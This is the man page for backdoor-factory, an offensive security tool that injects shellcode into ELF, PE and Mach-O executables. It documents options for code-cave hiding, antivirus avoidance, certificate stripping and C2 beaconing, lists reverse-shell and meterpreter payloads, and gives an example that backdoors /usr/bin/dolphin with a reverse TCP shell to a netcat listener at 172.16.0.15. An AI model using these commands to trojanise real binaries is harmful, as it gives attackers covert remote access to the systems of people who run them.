BACKDOOR-FACTORY(1)

NAME

backdoor-factory - inject predefined or user-defined shellcode in binaries

SYNOPSIS

backdoor-factory [options]

DESCRIPTION

backdoor-factory patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

This tool is for security professionals and researchers only.

This tool doesn't support relocatable ELF executable (i.e. compiled with the -fPIE option, suggested by the Debian hardening requirements, see https://wiki.debian.org/Hardening)

Binaries such as ssh may not be caved correctly, as binaries such as dolphin (at the time of this man page is written) are.

OPTIONS:

-h, --help
  show this help message and exit

-f FILE, --file=FILE
  File to backdoor

-s SHELL, --shell=SHELL
  Payloads that are available for use. Use 'show' to see payloads.

-H HOST, --hostip=HOST
  IP of the C2 for reverse connections.

-P PORT, --port=PORT
  The port to either connect back to for reverse shells or to listen on for bind shells

-J, --cave_jumping
  Select this options if you want to use code cave jumping to further hide your shellcode in the binary.

-a, --add_new_section
  Mandating that a new section be added to the exe (better success) but less av avoidance

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
  User supplied shellcode, make sure that it matches the architecture that you are targeting.

-c, --cave
  The cave flag will find code caves that can be used for stashing shellcode. This will print to all the code caves of a specific size.The -l flag can be use with this setting.

-l SHELL_LEN, --shell_length=SHELL_LEN
  For use with -c to help find code caves of different sizes

-o OUTPUT, --output-file=OUTPUT
  The backdoor output file path. Parent dir(s) must exist

-n NSECTION, --section=NSECTION
  New section name must be less than seven characters

-d DIR, --directory=DIR
  This is the location of the files that you want to backdoor. You can make a directory of file backdooring faster by forcing the attaching of a codecave to the exe by using the -a setting.

-w, --change_access
  This flag changes the section that houses the codecave to RWE. Sometimes this is necessary. Enabled by default. If disabled, the backdoor may fail.

-i, --injector
  This command turns the backdoor factory in a hunt and shellcode inject type of mechanism. Edit the target settings in the injector module.

-u SUFFIX, --suffix=SUFFIX
  For use with injector, places a suffix on the original file for easy recovery

-D, --delete_original
  For use with injector module. This command deletes the original file. Not for use in production systems.
  (Author not responsible for stupid uses.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET
  Starting point on disk offset, in bytes. Some authors want to obfuscate their on disk offset to avoid reverse engineering, if you find one of those files use this flag, after you find the offset.

-S, --support_check
  To determine if the file is supported by BDF prior to backdooring the file. For use by itself or with verbose. This check happens automatically if the backdooring is attempted.

-M, --cave-miner
  Future use, to help determine smallest shellcode possible in a PE file

-q, --no_banner
  Kills the banner.

-v, --verbose
  For debug information output.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE
  ALL, x86, or x64 type binaries only. Default=ALL

-Z, --zero_cert
  Allows for the overwriting of the pointer to the PE certificate table effectively removing the certificate from the binary for all intents and purposes.

-R, --runas_admin
  EXPERIMENTAL Checks the PE binaries for 'requestedExecutionLevel level="highestAvailable"'. If this string is included in the binary, it must run as system/admin. If not in Support Check mode it will attmept to patch highestAvailable into the manifest if requestedExecutionLevel entry exists.

-L, --patch_dll
  Use this setting if you DON'T want to patch DLLs. Patches by default.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
  For MACH-O format. If fat file, focus on which arch to patch. Default is x64. To force x86 use -F x86, to force both archs use -F ALL.

-B BEACON, --beacon=BEACON
  For payloads that have the ability to beacon out, set the time in secs

-m PATCH_METHOD, --patch-method=PATCH_METHOD
  Patching methods for PE files, 'manual','automatic', replace and onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
  For onionduke. Provide your desired binary.

-X, --xp_mode
  Default: DO NOT support for XP legacy machines, use -X to support XP. By default the binary will crash on XP machines (e.g. sandboxes)

-A, --idt_in_cave
  EXPERIMENTAL By default a new Import Directory Table is created in a new section, by calling this flag it will be put in a code cave. This can cause bianry failure is some cases. Test on target binaries first.

-C, --code_sign
  For those with codesigning certs wishing to sign PE binaries only. Name your signing key and private key signingcert.cer and signingPrivateKey.pem respectively in the certs directory it's up to you to obtain signing certs.

-p, --preprocess
  To execute preprocessing scripts in the preprocess directory

ABOUT THE SHELLCODES

There is various predefined shellcode in backdoor-factory. Their availability depends on the target type (ELF32, ELF64, PE32...). The shellcodes list is defined below.

for all intel-based (x86 and x86_64 architecture)

reverse_shell_tcp
  need: a remote host and port to be set
  permits: remote shell access

delay_reverse_shell_tcp
  need: a remote host and port to be set
  permits: remote shell access

beaconing_reverse_shell_tcp
  need: a beacon, a remote host and port to be set
  permits: remote shell access

user_supplied_shellcode
  need: a user-defined shellcode ready to inject
  permits: depend on the shellcode

Linux specific shellcodes

reverse_tcp_stager
  need:
  permits:

Windows PE32 exe shellcodes

reverse_shell_tcp_inline
  needs: a remote host and port to be set
  permits: remote shell access

reverse_shell_tcp_stager_threaded
  needs: a remote host and port to be set
  permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload

meterpreter_reverse_https_threaded
  needs: a remote host and port to be set
  permits: meterpreter over https transport

user_applied_shellcode_threaded
  needs: a user-defined shellcode ready to inject
  permits: depend on the shellcode

iat_reverse_tcp_inline
  needs: a remote host and port to be set
  permits:

iat_reverse_tcp_inline_threaded
  needs: a remote host and port to be set
  permits:

iat_reverse_tcp_stager_threaded
  needs: a remote host and port to be set
  permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload

iat_user_applied_shellcode_threaded
  needs: a user-defined shellcode ready to inject
  permits: depend on the shellcode

Windows PE64 exe shellcodes

delay_reverse_shell_tcp
  needs: a remote host and port to be set
  permits: remote shell access

reverse_shell_tcp
  needs: a remote host and port to be set
  permits: remote shell access

beaconing_reverse_shell_tcp
  needs:a beacon, a remote host and port to be set
  permits: remote shell access

user_supplied_shellcode
  needs: a user-defined shellcode ready to inject
  permits: depend on the shellcode

EXAMPLES

Example of cavecoding an ELF binary, by integrating a remote shell access through a remote TCP listener (e.g. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

On the host behind the IP 172.16.0.15, start netcat in listen mode:

$ netcat -l 172.16.0.15 8080

On the target, start the backdoored binary: ./backdoored/dolphin

Now, on the host 172.16.0.15, just use your shell.

HISTORY

May 2017, Originally compiled by Philippe Thierry (phil at reseau-libre dot com)